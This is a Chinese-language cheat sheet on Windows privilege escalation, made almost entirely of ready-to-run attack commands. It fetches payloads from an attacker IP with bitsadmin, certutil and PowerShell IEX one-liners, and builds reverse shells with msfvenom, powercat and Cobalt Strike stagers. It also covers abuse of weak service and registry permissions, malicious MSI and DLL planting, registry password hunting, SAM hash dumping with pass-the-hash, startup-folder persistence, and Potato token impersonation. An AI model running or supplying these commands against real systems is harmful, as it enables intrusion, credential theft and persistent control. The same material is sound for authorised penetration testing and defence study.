Window提权相关操作和技巧
字数 1330 2025-08-24 10:10:13
Windows提权操作与技巧全面指南
文件下载方法
bitsadmin
- Windows命令行下载工具,Win7及之后系统自带
- 特性:
- 网络不稳定时可自动重试
- 支持URL跳转
- 不能下载HTML页面
bitsadmin /transfer test http://10.6.54.194:8000/reverse.exe c:\users\staccato\desktop\reverse.exe
start bitsadmin /transfer test http://10.6.54.194:8000/reverse.exe f:\reverse.exe
bitsadmin /setpriority test foreground # 设置最高优先级
certutil
- Windows自带工具,Win7及之后可用
- 易被杀毒软件检测
certutil -urlcache -split -f http://10.6.54.194:8000/reverse.exe
certutil -urlcache -split -f http://10.6.54.194:8000/reverse.exe c:/users/staccato/desktop/reserver.exe
iwr (PowerShell)
- PowerShell内置下载工具
iwr -Uri http://www.test.com/vps.exe -OutFile vps.exe -UseBasicParsing
PowerShell脚本加载执行
本地加载执行
powershell -exec bypass Import-Module .\powerview.ps1;Get-NetDomain
远程下载执行
powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://xx.xx.xx.xx/test.ps1')
powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://xx.xx.xx.xx/powerview.ps1');import-module .\powerview.ps1;Get-NetDomain
反弹Shell方法
MSF反弹Shell
# 生成木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.6.54.194 lport=7788 -f psh-reflection -o 7788.ps1
# 目标机执行
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.6.54.194:8000/7788.ps1');xx.ps1"
NC反弹Shell
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 10.6.54.194 -p 8888 -e cmd
CobaltStrike反弹Shell
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.6.54.194:8080/a'))"
信息收集命令
| 命令 | 描述 |
|---|---|
systeminfo |
输出系统信息 |
whoami |
获取当前用户名 |
whoami /priv |
获取当前用户权限 |
ipconfig |
网络配置信息 |
net user |
列出用户 |
hostname |
查看主机名 |
SET |
查看环境变量 |
tasklist |
查看进程 |
tasklist /svc |
查看进程及使用者 |
netstat -ano |
查看开放端口 |
工具推荐:
- winPEAS:枚举系统寻找提权路径
- accesschk:检查资源访问权限
内核漏洞提权
- 检查补丁情况:
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn
- 使用工具比对缺失补丁:
- MSF模块:
post/windows/gather/enum_patchespost/multi/recon/local_exploit_suggester
- WES-NG工具:
python wes.py systeminfo.txt
服务漏洞提权
不安全的服务权限
- 检测权限:
accesschk.exe /accepteula -uwcqv user daclsvc
- 修改服务配置:
sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\"" obj= LocalSystem
net start daclsvc
未引用的服务路径
- 查询服务配置:
sc qc unquotedsvc
- 检查写入权限:
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
- 替换可执行文件并重启服务
不安全的服务可执行文件
- 查询服务配置:
sc qc filepermsvc
- 检查写入权限:
accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
- 替换可执行文件并重启服务
弱注册表权限
- 查询服务配置:
sc qc regsvc
- 检查注册表写入权限:
accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
- 修改注册表:
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
net start regsvc
注册表提权
自动运行程序
- 查询注册表:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- 检查写入权限并替换程序
AlwaysInstallElevated
- 检查注册表设置:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
- 生成并安装恶意MSI:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.6.54.194 LPORT=53 -f msi -o reverse.msi
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
密码相关提权
注册表搜索密码
reg query HKLM /f password /t REG_SZ /s
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
SAM文件提取
- 获取SAM和SYSTEM文件
- 使用creddump7提取哈希:
python3 creddump7/pwdump.py SYSTEM SAM
- 使用哈希传递攻击:
pth-winexe -U 'admin%hash' //10.10.146.18 cmd.exe
保存的Windows凭据
cmdkey /list
runas /savecred /user:admin cmd.exe
启动应用程序提权
- 检查启动目录写入权限:
accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
- 创建快捷方式脚本:
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save
- 执行脚本并等待管理员登录
DLL劫持提权
- 使用工具分析进程加载的DLL
- 生成恶意DLL:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.6.54.194 LPORT=7788 -f dll -o staccato.dll
- 替换目标程序使用的DLL
令牌窃取提权
MSF令牌操作
use incognito
list_tokens -u
impresonate_Token "令牌名"
土豆系列提权工具
-
烂土豆(Rotten Potato)
- 不适用于Win10 1809+和Win Server 2019+
- 使用方法:
execute -cH -f RottenPotato.exe list_tokens -u impersonate_token "NT AUTHORITY\\SYSTEM" -
多汁土豆(Juicy Potato)
- 要求:SeImpersonate或SeAssignPrimaryToken权限
- 使用方法:
JuicyPotato.exe -t * -p "C:\windows\system32\cmd.exe" -a "/c whoami > C:\JuicyPotatoNG.txt" -
多汁土豆NG(Juicy PotatoNG)
JuicyPotatoNG.exe -t * -p "C:\windows\system32\cmd.exe" -a "/c whoami > C:\JuicyPotatoNG.txt"
注意事项
- 不同Windows版本对提权方法的支持不同
- 部分方法会被杀毒软件检测
- 操作前建议先进行充分的信息收集
- 生产环境中使用需谨慎,避免造成系统不稳定